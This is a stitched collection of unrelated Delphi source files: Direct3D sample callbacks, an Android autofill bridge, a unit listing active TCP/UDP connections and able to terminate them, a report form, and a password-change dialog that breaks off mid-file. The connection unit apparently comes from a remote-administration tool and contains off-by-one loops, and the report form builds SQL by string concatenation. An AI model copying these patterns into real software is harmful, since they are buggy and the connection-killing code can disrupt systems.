// This callback function will be called immediately after the Direct3D device has
// entered a lost state and before IDirect3DDevice9::Reset is called. Resources created
// in the OnResetDevice callback should be released here, which generally includes all
// D3DPOOL_DEFAULT resources. See the "Lost Devices" section of the documentation for
// information about lost devices.
//--------------------------------------------------------------------------------------
procedure OnLostDevice; stdcall;
begin
g_DialogResourceManager.OnLostDevice;
g_SettingsDlg.OnLostDevice;
if Assigned(g_pFont) then g_pFont.OnLostDevice;
if Assigned(g_pEffect) then g_pEffect.OnLostDevice;
SAFE_RELEASE(g_pTextSprite);
end;
//--------------------------------------------------------------------------------------
// This callback function will be called immediately after the Direct3D device has
// been destroyed, which generally happens as a result of application termination or
// windowed/full screen toggles. Resources created in the OnCreateDevice callback
// should be released here, which generally includes all D3DPOOL_MANAGED resources.
//--------------------------------------------------------------------------------------
procedure OnDestroyDevice; stdcall;
begin
g_DialogResourceManager.OnDestroyDevice;
g_SettingsDlg.OnDestroyDevice;
SAFE_RELEASE(g_pEffect);
SAFE_RELEASE(g_pFont);
end;
procedure CreateCustomDXUTobjects;
begin
g_DialogResourceManager:= CDXUTDialogResourceManager.Create; // manager for shared resources of dialogs
g_SettingsDlg:= CD3DSettingsDlg.Create; // Device settings dialog
g_Camera:= CModelViewerCamera.Create;
g_HUD := CDXUTDialog.Create;
g_SampleUI:= CDXUTDialog.Create;
end;
procedure DestroyCustomDXUTobjects;
begin
FreeAndNil(g_DialogResourceManager);
FreeAndNil(g_SettingsDlg);
FreeAndNil(g_Camera);
FreeAndNil(g_HUD);
FreeAndNil(g_SampleUI);
end;
end.
|
//
// Generated by JavaToPas v1.5 20180804 - 082445
////////////////////////////////////////////////////////////////////////////////
unit android.service.autofill.SaveInfo;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
Androidapi.JNI.os;
type
JSaveInfo = interface;
JSaveInfoClass = interface(JObjectClass)
['{ACE68C3F-E3FA-4EF7-BEC5-BC273C8CF721}']
function _GetCREATOR : JParcelable_Creator; cdecl; // A: $19
function _GetFLAG_SAVE_ON_ALL_VIEWS_INVISIBLE : Integer; cdecl; // A: $19
function _GetNEGATIVE_BUTTON_STYLE_CANCEL : Integer; cdecl; // A: $19
function _GetNEGATIVE_BUTTON_STYLE_REJECT : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_ADDRESS : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_CREDIT_CARD : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_EMAIL_ADDRESS : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_GENERIC : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_PASSWORD : Integer; cdecl; // A: $19
function _GetSAVE_DATA_TYPE_USERNAME : Integer; cdecl; // A: $19
function describeContents : Integer; cdecl; // ()I A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure writeToParcel(parcel : JParcel; flags : Integer) ; cdecl; // (Landroid/os/Parcel;I)V A: $1
property CREATOR : JParcelable_Creator read _GetCREATOR; // Landroid/os/Parcelable$Creator; A: $19
property FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE : Integer read _GetFLAG_SAVE_ON_ALL_VIEWS_INVISIBLE;// I A: $19
property NEGATIVE_BUTTON_STYLE_CANCEL : Integer read _GetNEGATIVE_BUTTON_STYLE_CANCEL;// I A: $19
property NEGATIVE_BUTTON_STYLE_REJECT : Integer read _GetNEGATIVE_BUTTON_STYLE_REJECT;// I A: $19
property SAVE_DATA_TYPE_ADDRESS : Integer read _GetSAVE_DATA_TYPE_ADDRESS; // I A: $19
property SAVE_DATA_TYPE_CREDIT_CARD : Integer read _GetSAVE_DATA_TYPE_CREDIT_CARD;// I A: $19
property SAVE_DATA_TYPE_EMAIL_ADDRESS : Integer read _GetSAVE_DATA_TYPE_EMAIL_ADDRESS;// I A: $19
property SAVE_DATA_TYPE_GENERIC : Integer read _GetSAVE_DATA_TYPE_GENERIC; // I A: $19
property SAVE_DATA_TYPE_PASSWORD : Integer read _GetSAVE_DATA_TYPE_PASSWORD;// I A: $19
property SAVE_DATA_TYPE_USERNAME : Integer read _GetSAVE_DATA_TYPE_USERNAME;// I A: $19
end;
[JavaSignature('android/service/autofill/SaveInfo$Builder')]
JSaveInfo = interface(JObject)
['{5729573A-ACF4-4DBE-AC7F-973DD6E65466}']
function describeContents : Integer; cdecl; // ()I A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure writeToParcel(parcel : JParcel; flags : Integer) ; cdecl; // (Landroid/os/Parcel;I)V A: $1
end;
TJSaveInfo = class(TJavaGenericImport<JSaveInfoClass, JSaveInfo>)
end;
const
TJSaveInfoFLAG_SAVE_ON_ALL_VIEWS_INVISIBLE = 1;
TJSaveInfoNEGATIVE_BUTTON_STYLE_CANCEL = 0;
TJSaveInfoNEGATIVE_BUTTON_STYLE_REJECT = 1;
TJSaveInfoSAVE_DATA_TYPE_ADDRESS = 2;
TJSaveInfoSAVE_DATA_TYPE_CREDIT_CARD = 4;
TJSaveInfoSAVE_DATA_TYPE_EMAIL_ADDRESS = 16;
TJSaveInfoSAVE_DATA_TYPE_GENERIC = 0;
TJSaveInfoSAVE_DATA_TYPE_PASSWORD = 1;
TJSaveInfoSAVE_DATA_TYPE_USERNAME = 8;
implementation
end.
|
unit UnitListarPortasAtivas;
interface
uses
Windows,
winsock,
tlhelp32,
UnitServerUtils;
resourcestring
ResTCPStateClosed = 'CLOSED';
ResTCPStateListen = 'LISTEN';
ResTCPStateSynSent = 'SYNSENT';
ResTCPStateSynRcvd = 'SYNRCVD';
ResTCPStateEst = 'ESTABLISHED';
ResTCPStateFW1 = 'FIN_WAIT1';
ResTCPStateFW2 = 'FIN_WAIT2';
ResTCPStateCloseWait = 'CLOSE_WAIT';
ResTCPStateClosing = 'CLOSING';
ResTCPStateLastAck = 'LAST_ACK';
ResTCPStateTimeWait = 'TIME_WAIT';
ResTCPStateDeleteTCB = 'DELETE_TCB';
const
TCP_STATES: array[1..12] of string = (ResTCPStateClosed,
ResTCPStateListen,
ResTCPStateSynSent,
ResTCPStateSynRcvd,
ResTCPStateEst,
ResTCPStateFW1,
ResTCPStateFW2,
ResTCPStateCloseWait,
ResTCPStateClosing,
ResTCPStateLastAck,
ResTCPStateTimeWait,
ResTCPStateDeleteTCB);
type
TCP_TABLE_CLASS = (TCP_TABLE_BASIC_LISTENER, TCP_TABLE_BASIC_CONNECTIONS,
TCP_TABLE_BASIC_ALL, TCP_TABLE_OWNER_PID_LISTENER,
TCP_TABLE_OWNER_PID_CONNECTIONS, TCP_TABLE_OWNER_PID_ALL,
TCP_TABLE_OWNER_MODULE_LISTENER, TCP_TABLE_OWNER_MODULE_CONNECTIONS,
TCP_TABLE_OWNER_MODULE_ALL);
UDP_TABLE_CLASS = (UDP_TABLE_BASIC, UDP_TABLE_OWNER_PID, UDP_TABLE_OWNER_MODULE);
PMIB_TCPROW = ^MIB_TCPROW;
MIB_TCPROW = packed record
dwState: DWORD;
dwLocalAddr: DWORD;
dwLocalPort: DWORD;
dwRemoteAddr: DWORD;
dwRemotePort: DWORD;
end;
PMIB_TCPROW_OWNER_PID = ^MIB_TCPROW_OWNER_PID;
MIB_TCPROW_OWNER_PID = packed record
dwState: DWORD;
dwLocalAddr: DWORD;
dwLocalPort: DWORD;
dwRemoteAddr: DWORD;
dwRemotePort: DWORD;
dwOwnerPID: DWORD;
end;
PMIB_UDPROW_OWNER_PID = ^MIB_UDPROW_OWNER_PID;
MIB_UDPROW_OWNER_PID = packed record
dwLocalAddr: DWORD;
dwLocalPort: DWORD;
dwOwnerPID: DWORD;
end;
PMIB_TCPTABLE_OWNER_PID = ^MIB_TCPTABLE_OWNER_PID;
MIB_TCPTABLE_OWNER_PID = packed record
dwNumEntries: DWORD;
table: array [0..0] of MIB_TCPROW_OWNER_PID;
end;
PMIB_UDPTABLE_OWNER_PID = ^MIB_UDPTABLE_OWNER_PID;
MIB_UDPTABLE_OWNER_PID = packed record
dwNumEntries: DWORD;
table: array [0..0] of MIB_UDPROW_OWNER_PID;
end;
TAllocateAndGetTcpExTableFromStack = function (pTcpTable: PMIB_TCPTABLE_OWNER_PID;bOrder: BOOL;heap: THandle;
zero: DWORD;flags: DWORD):DWORD;stdcall;
TAllocateAndGetUdpExTableFromStack = function (pTcpTable: PMIB_TCPTABLE_OWNER_PID;bOrder: BOOL;heap: THandle;
zero: DWORD;flags: DWORD):DWORD;stdcall;
TSendTcpEntry = function (pTCPRow: PMIB_TCPROW):DWORD;stdcall;
TGetExtendedTcpTable = function (pTcpTable: PMIB_TCPTABLE_OWNER_PID;pdwSize: PDWORD;bOrder: BOOL;ulAf: ULONG;
TableClass: TCP_TABLE_CLASS;Reserved: ULONG):DWORD;stdcall;
TGetExtendedUdpTable = function (pTcpTable: PMIB_UDPTABLE_OWNER_PID;pdwSize: PDWORD;bOrder: BOOL;ulAf: ULONG;
TableClass: UDP_TABLE_CLASS;Reserved: ULONG):DWORD;stdcall;
const
MIB_TCP_STATE_CLOSED = 1;
MIB_TCP_STATE_LISTEN = 2;
MIB_TCP_STATE_SYN_SENT = 3;
MIB_TCP_STATE_SYN_RCVD = 4;
MIB_TCP_STATE_ESTAB = 5;
MIB_TCP_STATE_FIN_WAIT1 = 6;
MIB_TCP_STATE_FIN_WAIT2 = 7;
MIB_TCP_STATE_CLOSE_WAIT = 8;
MIB_TCP_STATE_CLOSING = 9;
MIB_TCP_STATE_LAST_ACK = 10;
MIB_TCP_STATE_TIME_WAIT = 11;
MIB_TCP_STATE_DELETE_TCB = 12;
var
IPHelperLoaded: Boolean;
IPHelperXPLoaded: Boolean;
IPHelperVistaLoaded: Boolean;
AllocateAndGetTcpExTableFromStack: TAllocateAndGetTcpExTableFromStack;
AllocateAndGetUdpExTableFromStack: TAllocateAndGetUdpExTableFromStack;
SetTcpEntry: TSendTcpEntry;
GetExtendedTcpTable: TGetExtendedTcpTable;
GetExtendedUdpTable: TGetExtendedUdpTable;
FBufferTCP : PMIB_TCPTABLE_OWNER_PID;
FBufferUDP : PMIB_UDPTABLE_OWNER_PID;
function GetIP(AIP: DWORD): WideString;
function GetPort(APort: DWORD): DWORD;
procedure ReadTCPTable;
procedure ReadUdpTable;
function CriarLista(ResolveDNS: boolean): string;
function CloseTcpConnect(LocalHost, RemoteHost: string; LocalPort, RemotePort: integer): boolean;
implementation
const
iphelper = 'iphlpapi.dll';
var
LibHandle: THandle;
function GetNameFromIP(const IP: String): String;
var
WSA: TWSAData;
Host: PHostEnt;
Addr: Integer;
Err: Integer;
begin
Result := IP;
if IP = '127.0.0.1' then
begin
result := 'localhost';
exit;
end;
Err := WSAStartup($101, WSA);
if Err <> 0 then Exit;
try
Addr := inet_addr(PChar(IP));
if Addr = INADDR_NONE then
begin
WSACleanup;
Exit;
end;
Host := gethostbyaddr(@Addr, SizeOf(Addr), PF_INET);
if Assigned(Host) then Result := Host.h_name;
finally
WSACleanup;
end;
end;
function CloseTcpConnect(LocalHost, RemoteHost: string; LocalPort, RemotePort: integer): boolean;
var
item: MIB_TCPROW_OWNER_PID;
I : Integer;
begin
result := false;
For I := 0 To FBufferTCP^.dwNumEntries Do
begin
item := FBufferTCP^.table[I];
if ( (GetIP(item.dwLocalAddr) = LocalHost) or (GetNameFromIP(GetIP(item.dwLocalAddr)) = LocalHost) ) and
(GetPort(item.dwLocalPort) = LocalPort) and
( (GetIP(item.dwRemoteAddr) = RemoteHost) or (GetNameFromIP(GetIP(item.dwRemoteAddr)) = RemoteHost) ) and
(GetPort(item.dwRemotePort) = RemotePort) then
begin
item.dwState := MIB_TCP_STATE_DELETE_TCB;
SetTcpEntry(@item);
result := true;
break;
end;
end;
end;
function GetIP(AIP: DWORD): WideString;
var bytes: array[0..3] of Byte;
begin
Move(AIP, bytes[0], SizeOf(AIP));
Result := IntToStr(bytes[0]) + '.' +
IntToStr(bytes[1]) + '.' +
IntToStr(bytes[2]) + '.' +
IntToStr(bytes[3]);
end;
function GetPort(APort: DWORD): DWORD;
begin
Result := (APort div 256) + (APort mod 256) * 256;
end;
procedure ReadTCPTable;
var wsadata: TWSAData;
ret: DWORD;
dwSize: DWORD;
begin
if not IPHelperLoaded then
Exit;
WSAStartup(2, wsadata);
try
if IPHelperVistaLoaded then begin
dwSize := 0;
ret := GetExtendedTcpTable(FBufferTCP, @dwSize, True, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
if ret = ERROR_INSUFFICIENT_BUFFER then begin
GetMem(FBufferTCP, dwSize);
GetExtendedTcpTable(FBufferTCP, @dwSize, True, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
end;
end else if IPHelperXPLoaded then
AllocateAndGetTcpExTableFromStack(@FBufferTCP, True, GetProcessHeap, 2, 2);
finally
WSACleanup;
end;
end;
procedure ReadUdpTable;
var wsadata: TWSAData;
ret: DWORD;
dwSize: DWORD;
begin
if not IPHelperLoaded then
Exit;
WSAStartup(2, wsadata);
try
if IPHelperVistaLoaded then begin
dwSize := 0;
ret := GetExtendedUdpTable(FBufferUdp, @dwSize, True, AF_INET, Udp_TABLE_OWNER_PID, 0);
if ret = ERROR_INSUFFICIENT_BUFFER then begin
GetMem(FBufferUdp, dwSize);
GetExtendedUdpTable(FBufferUdp, @dwSize, True, AF_INET, Udp_TABLE_OWNER_PID, 0);
end;
end else if IPHelperXPLoaded then
AllocateAndGetTcpExTableFromStack(@FBufferUdp, True, GetProcessHeap, 2, 2);
finally
WSACleanup;
end;
end;
procedure LoadIPHelper;
begin
LibHandle := LoadLibrary(iphelper);
if LibHandle <> INVALID_HANDLE_VALUE then begin
@AllocateAndGetTcpExTableFromStack := GetProcAddress(LibHandle, 'AllocateAndGetTcpExTableFromStack');
@AllocateAndGetUdpExTableFromStack := GetProcAddress(LibHandle, 'AllocateAndGetUdpExTableFromStack');
@SetTcpEntry := GetProcAddress(LibHandle, 'SetTcpEntry');
@GetExtendedTcpTable := GetProcAddress(LibHandle, 'GetExtendedTcpTable');
@GetExtendedUdpTable := GetProcAddress(LibHandle, 'GetExtendedUdpTable');
end;
IPHelperLoaded := (LibHandle <> INVALID_HANDLE_VALUE) and Assigned(SetTcpEntry);
IPHelperXPLoaded := IPHelperLoaded and
(Assigned(AllocateAndGetTcpExTableFromStack) and Assigned(AllocateAndGetUdpExTableFromStack));
IPHelperVistaLoaded := IPHelperLoaded and
(Assigned(GetExtendedTcpTable) and Assigned(GetExtendedUdpTable));
end;
procedure ReleaseIPHelper;
begin
if LibHandle <> INVALID_HANDLE_VALUE then
FreeLibrary(LibHandle);
end;
function ProcessName(PID: DWORD; DefaultName: string): string;
var
Entry: TProcessEntry32;
ProcessHandle : THandle;
begin
Entry.dwSize := SizeOf(TProcessEntry32);
ProcessHandle := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if not Process32First(ProcessHandle, Entry) then Result := DefaultName else
repeat
if Entry.th32ProcessID = PID then Result := Entry.szExeFile;
until not Process32Next(ProcessHandle, Entry);
end;
function CriarLista(ResolveDNS: boolean): string;
var
item: MIB_TCPROW_OWNER_PID;
item2: MIB_UDPROW_OWNER_PID;
I : Integer;
Protocolo: string;
LocalHost, RemoteHost: string;
LocalPort, RemotePort: integer;
RemoteHostUDP, RemotePortUDP: string;
ProcName: string;
Status: string;
PID: integer;
begin
result := inttostr(getcurrentprocessid) + '|'; // para saber qual é o meu hehehehe
For I := 0 To FBufferTCP^.dwNumEntries Do
begin
item := FBufferTCP^.table[I];
Protocolo := 'TCP';
if ResolveDNS = false then
LocalHost := GetIP(item.dwLocalAddr) else
LocalHost := GetNameFromIP(GetIP(item.dwLocalAddr));
LocalPort := GetPort(item.dwLocalPort);
if ResolveDNS = false then
RemoteHost := GetIP(item.dwRemoteAddr) else
RemoteHost := GetNameFromIP(GetIP(item.dwRemoteAddr));
RemotePort := GetPort(item.dwRemotePort);
ProcName := ProcessName(item.dwOwnerPID, 'Unknown');
PID := item.dwOwnerPID;
// problema aqui...
if (item.dwState = 0) or (item.dwState > 12) then Status := '-' else
Status := TCP_STATES[item.dwState];
Result := Result + Protocolo + '|' +
LocalHost + '|' +
inttostr(LocalPort) + '|' +
RemoteHost + '|' +
inttostr(RemotePort) + '|' +
status + '|' +
inttostr(PID) + '|' +
procname + '|' + #13#10;
end;
For I := 0 To FBufferUdp^.dwNumEntries Do
begin
item2 := FBufferUdp^.table[I];
Protocolo := 'UDP';
if ResolveDNS = false then
LocalHost := GetIP(item2.dwLocalAddr) else LocalHost := GetNameFromIP(GetIP(item2.dwLocalAddr));
LocalPort := GetPort(item2.dwLocalPort);
RemoteHostUDP := '*';
RemotePortUDP := '*';
ProcName := ProcessName(item2.dwOwnerPID, 'Unknown');
PID := item2.dwOwnerPID;
Status := '-';
Result := Result + Protocolo + '|' +
LocalHost + '|' +
inttostr(LocalPort) + '|' +
RemoteHostUDP + '|' +
RemotePortUDP + '|' +
status + '|' +
inttostr(PID) + '|' +
procname + '|' + #13#10;
end;
end;
initialization
LoadIPHelper;
finalization
ReleaseIPHelper;
end.
{
sample usage for TCP:
procedure TExtTCPTable.ReadTCPTable;
var wsadata: TWSAData;
ret: DWORD;
dwSize: DWORD;
begin
if not IPHelperLoaded then
Exit;
WSAStartup(2, wsadata);
try
if IPHelperVistaLoaded then begin
dwSize := 0;
ret := GetExtendedTcpTable(FBufferTCP, @dwSize, True, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
if ret = ERROR_INSUFFICIENT_BUFFER then begin
GetMem(FBufferTCP, dwSize);
GetExtendedTcpTable(FBufferTCP, @dwSize, True, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
end;
end else if IPHelperXPLoaded then
AllocateAndGetTcpExTableFromStack(@FBufferTCP, True, GetProcessHeap, 2, 2);
finally
WSACleanup;
end;
end;
where
FBufferTCP: PMIB_TCPTABLE_OWNER_PID;
FBufferTCP^.dwNumEntries returns number of entries
var item: MIB_TCPROW_OWNER_PID;
item := FBufferTCP^.table[ARow];
GetIP(item.dwLocalAddr);
GetPort(item.dwLocalPort);
function GetIP(AIP: DWORD): WideString;
var bytes: array[0..3] of Byte;
begin
Move(AIP, bytes[0], SizeOf(AIP));
Result := IntToStr(bytes[0]) + '.' +
IntToStr(bytes[1]) + '.' +
IntToStr(bytes[2]) + '.' +
IntToStr(bytes[3]);
end;
function GetPort(APort: DWORD): DWORD;
begin
Result := (APort div 256) + (APort mod 256) * 256;
end;
if you want to try close connection, you should use:
SetTcpEntry and set MIB_TCPROW.dwState to MIB_TCP_STATE_DELETE_TCB
it's a bit messy but I had to retrieve it from bigger project, but should give you enough information to complete your task.
ziolko.
}
|
unit uSp_Kat_Pay_Print;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, cxControls, cxContainer, cxEdit,
cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, StdCtrls, cxButtons,
ActnList, DB, FIBDataSet, pFIBDataSet, frxExportXLS, frxExportHTML,
frxExportRTF, frxClass, frxExportPDF, frxDesgn, frxDBSet, ibase,
uSp_kat_pay_DM;
type
TfrmPrint = class(TForm)
OkButton: TcxButton;
CancelButton: TcxButton;
dtBegCheck: TcxDateEdit;
dtEndCheck: TcxDateEdit;
frxDBDataset: TfrxDBDataset;
frxDesigner1: TfrxDesigner;
frxPDFExport1: TfrxPDFExport;
frxRTFExport1: TfrxRTFExport;
frxHTMLExport1: TfrxHTMLExport;
frxXLSExport1: TfrxXLSExport;
ReadDataSet: TpFIBDataSet;
ActionList1: TActionList;
DebugPrintAction: TAction;
BarStatic: TLabel;
frxReport: TfrxReport;
procedure CancelButtonClick(Sender: TObject);
procedure OkButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure dtBegCheckKeyPress(Sender: TObject; var Key: Char);
procedure dtEndCheckKeyPress(Sender: TObject; var Key: Char);
procedure DebugPrintActionExecute(Sender: TObject);
private
{ Private declarations }
public
DBh : TISC_DB_HANDLE;
end;
var designer_rep:Integer;
implementation
{$R *.dfm}
procedure TfrmPrint.CancelButtonClick(Sender: TObject);
begin
Close;
end;
procedure TfrmPrint.OkButtonClick(Sender: TObject);
begin
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'Reports\Studcity\'+'st_che_CategoryList'+'.fr3');
frxReport.Variables.Clear;
frxReport.Variables['BEG_CHECK']:= ''''+ DateToStr(dtBegCheck.Date) +'''';
frxReport.Variables['END_CHECK']:= ''''+ DateToStr(dtEndCheck.Date) +'''';
ReadDataSet.Close;
ReadDataSet.SelectSQL.Clear;
ReadDataSet.SelectSQL.Text := 'select * from ST_SP_CATEGORY_LIST_PRINT(' +
'''' + DateToStr(dtBegCheck.Date) + '''' + ',' +
'''' + DateToStr(dtEndCheck.Date) + '''' +
') order by NUM_KATEGORIYA';
ReadDataSet.Open;
ReadDataSet.FetchAll;
frxReport.PrepareReport(true);
frxReport.ShowReport;
if designer_rep=1 then
begin
frxReport.DesignReport;
end;
ReadDataSet.Close;
end;
procedure TfrmPrint.FormCreate(Sender: TObject);
begin
dtBegCheck.Date := Now;
dtEndCheck.Date := StrToDate('01.01.2050');
designer_rep:=0;
end;
procedure TfrmPrint.FormShow(Sender: TObject);
begin
dtBegCheck.SetFocus;
end;
procedure TfrmPrint.dtBegCheckKeyPress(Sender: TObject; var Key: Char);
begin
if Key=#13 then Self.FindNextControl(Self.ActiveControl,True,true,False).SetFocus;
end;
procedure TfrmPrint.dtEndCheckKeyPress(Sender: TObject; var Key: Char);
begin
if Key=#13 then Self.FindNextControl(Self.ActiveControl,True,true,False).SetFocus;
end;
procedure TfrmPrint.DebugPrintActionExecute(Sender: TObject);
begin
if designer_rep=0 then
begin
designer_rep:=1;
BarStatic.Caption:='Режим отладки отчетов';
end
else
begin
designer_rep:=0;
BarStatic.Caption:='';
end;
end;
end.
|
{-------------------------------------------------------------------------------
Copyright 2012 Ethea S.r.l.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------------------}
unit Kitto.Ext.ChangePassword;
{$I Kitto.Defines.inc}
interface
uses
Ext, ExtForm,
Kitto.Ext.Base;
type
TKExtChangePasswordWindow = class(TKExtWindowControllerBase)
private
FShowOldPassword: Boolean;
FOldPassword: TExtFormTextField;
FNewPassword: TExtFormTextField;
FConfirmNewPassword: TExtFormTextField;
FPasswordRules: TExtFormLabel;
FConfirmButton: TKExtButton;
FStatusBar: TKExtStatusBar;
FFormPanel: TExtFormFormPanel;
FOldPasswordHash: string;
function GetPasswordHash(const AClearPassword: string): string;
strict protected
procedure DoDisplay; override;
protected
procedure InitDefaults; override;
public
/// <summary>Returns the display label to use by default when not specified
/// at the view or other level. Called through RTTI.</summary>
class function GetDefaultDisplayLabel: string;
/// <summary>Returns the image name to use by default when not specified at
/// the view or other level. Called through RTTI.</summary>
class function GetDefaultImageName: string;
published
procedure DoChangePassword;
end;
implementation
uses
SysUtils, StrUtils, Math,
ExtPascalUtils, ExtPascal,
EF.Classes, EF.Localization, EF.Tree, EF.StrUtils,
Kitto.Types, Kitto.Config, Kitto.Auth.DB,
Kitto.Ext.Controller, Kitto.Ext.Session;
{ TKExtChangePasswordWindow }
function TKExtChangePasswordWindow.GetPasswordHash(const AClearPassword: string): string;
begin
if Session.Config.Authenticator.IsClearPassword then
Result := AClearPassword
else
begin
Result := GetStringHash(AClearPassword);
if Session.Config.Authenticator.IsBCrypted then
Result := AClearPassword;
end;
end;
procedure TKExtChangePasswordWindow.DoChangePassword;
begin
if FShowOldPassword and (not Session.Config.Authenticator.IsPasswordMatching(GetPasswordHash(Session.Query['OldPassword']),FOldPasswordHash)) then
begin
FStatusBar.SetErrorStatus(_('Old Password is wrong.'));
FOldPassword.Focus(False, 500);
end
else if Session.Config.Authenticator.IsPasswordMatching(GetPasswordHash(Session.Query['NewPassword']),FOldPasswordHash) then
begin
FStatusBar.SetErrorStatus(_('New Password must be different than old password.'));
FNewPassword.Focus(False, 500);
end
else if Session.Query['NewPassword'] <> Session.Query['ConfirmNewPassword'] then
begin
FStatusBar.SetErrorStatus(_('Confirm New Password is wrong.'));
FConfirmNewPassword.Focus(False, 500);
end
else
begin
try
Session.Config.Authenticator.Password := Session.Query['ConfirmNewPassword'];
Close;
Session.Logout;
except
on E: ERedirectError do raise; //Reraise ERedirectError
on E: Exception do
begin
FStatusBar.SetErrorStatus(E.Message);
FNewPassword.Focus(False, 500);
end;
end;
end;
end;
procedure TKExtChangePasswordWindow.DoDisplay;
var
LEditWidth: Integer;
begin
Title := Config.GetString('DisplayLabel', GetDefaultDisplayLabel);
Width := Config.GetInteger('FormPanel/Width', 420);
Height := Config.GetInteger('FormPanel/Height', 200);
LEditWidth := Config.GetInteger('FormPanel/EditWidth', 220);
if Assigned(FOldPassword) then
FOldPassword.Width := LEditWidth;
if Assigned(FNewPassword) then
FNewPassword.Width := LEditWidth;
if Assigned(FConfirmNewPassword) then
FConfirmNewPassword.Width := LEditWidth;
Self.Closable := Config.GetBoolean('AllowClose', True);
inherited;
end;
class function TKExtChangePasswordWindow.GetDefaultDisplayLabel: string;
begin
Result := _('Change Password');
end;
class function TKExtChangePasswordWindow.GetDefaultImageName: string;
begin
Result := 'password';
end;
procedure TKExtChangePasswordWindow.InitDefaults;
var
LPasswordRules: string;
function ReplaceMacros(const ACode: string): string;
begin
Result := ReplaceStr(ACode, '%BUTTON%', FConfirmButton.JSName);
if FShowOldPassword then
Result := ReplaceStr(Result, '%OLDPW%', FOldPassword.JSName);
Result := ReplaceStr(Result, '%NEWPW%', FNewPassword.JSName);
Result := ReplaceStr(Result, '%NEWPW2%', FConfirmNewPassword.JSName);
Result := ReplaceStr(Result, '%STATUSBAR%', FStatusBar.JSName);
Result := ReplaceStr(Result, '%CAPS_ON%', _('Caps On'));
end;
function GetEnableButtonJS: string;
begin
if FShowOldPassword then
Result := ReplaceMacros(
'%BUTTON%.setDisabled(%OLDPW%.getValue() == "" || %NEWPW%.getValue() == "" ' +
'|| !(%NEWPW%.getValue() == %NEWPW2%.getValue()));')
else
Result := ReplaceMacros(
'%BUTTON%.setDisabled(%NEWPW%.getValue() == "" ' +
'|| !(%NEWPW%.getValue() == %NEWPW2%.getValue()));')
end;
function GetCheckCapsLockJS: string;
begin
Result := ReplaceMacros(
'if (event.keyCode !== 13 && event.getModifierState("CapsLock")) ' +
'{%STATUSBAR%.setText(''%CAPS_ON%''); %STATUSBAR%.setIcon('''');} ' +
'else {%STATUSBAR%.setText('''');}');
end;
function GetSubmitJS: string;
begin
if FShowOldPassword then
Result := ReplaceMacros(
'if (e.getKey() == 13 && !(%OLDPW%.getValue() == "") && !(%NEWPW%.getValue() == "") ' +
'&& %NEWPW%.getValue() == %NEWPW2%.getValue()) %BUTTON%.handler.call(%BUTTON%.scope, %BUTTON%);')
else
Result := ReplaceMacros(
'if (e.getKey() == 13 && !(%NEWPW%.getValue() == "") ' +
'&& %NEWPW%.getValue() == %NEWPW2%.getValue()) %BUTTON%.handler.call(%BUTTON%.scope, %BUTTON%);');
end;
begin
inherited;
FOldPasswordHash := Session.Config.Authenticator.Password;
//Old password is required only when user request to change-it
//If the request is made after login with password expires the old password
//was already requested to the user
FShowOldPassword := not Session.Config.Authenticator.MustChangePassword;
Modal := True;
Maximized := Session.IsMobileBrowser;
Border := not Maximized;
Closable := True;
Resizable := False;
FStatusBar := TKExtStatusBar.Create(Self);
FStatusBar.DefaultText := '';
FStatusBar.BusyText := _('Changing password...');
FFormPanel := TExtFormFormPanel.CreateAndAddTo(Items);
FFormPanel.Region := rgCenter;
FFormPanel.LabelWidth := Config.GetInteger('FormPanel/LabelWidth', 150);
FFormPanel.LabelAlign := laRight;
FFormPanel.Border := False;
FFormPanel.BodyStyle := SetPaddings(5, 5);
FFormPanel.Frame := False;
FFormPanel.MonitorValid := True;
FFormPanel.Bbar := FStatusBar;
FConfirmButton := TKExtButton.CreateAndAddTo(FStatusBar.Items);
FConfirmButton.SetIconAndScale('password', 'medium');
FConfirmButton.Text := _('Change password');
if FShowOldPassword then
begin
FOldPassword := TExtFormTextField.CreateAndAddTo(FFormPanel.Items);
FOldPassword.Name := 'OldPassword';
//FOldPassword.Value := FOldPasswordHash;
FOldPassword.FieldLabel := _('Old Password');
FOldPassword.InputType := itPassword;
FOldPassword.AllowBlank := False;
FOldPassword.EnableKeyEvents := True;
end
else
FOldPassword := nil;
FNewPassword := TExtFormTextField.CreateAndAddTo(FFormPanel.Items);
FNewPassword.Name := 'NewPassword';
//FNewPassword.Value := ...
FNewPassword.FieldLabel := _('New Password');
FNewPassword.InputType := itPassword;
FNewPassword.AllowBlank := False;
FNewPassword.EnableKeyEvents := True;
FConfirmNewPassword := TExtFormTextField.CreateAndAddTo(FFormPanel.Items);
FConfirmNewPassword.Name := 'ConfirmNewPassword';
//FConfirmNewPassword.Value := ...
FConfirmNewPassword.FieldLabel := _('Confirm New Password');
FConfirmNewPassword.InputType := itPassword;
FConfirmNewPassword.AllowBlank := False;
FConfirmNewPassword.EnableKeyEvents := True;
LPasswordRules := TKConfig.Instance.Config.GetString('Auth/ValidatePassword/Message');
if LPasswordRules <> '' then
begin
FPasswordRules := TExtFormLabel.CreateAndAddTo(FFormPanel.Items);
FPasswordRules.Text := LPasswordRules;
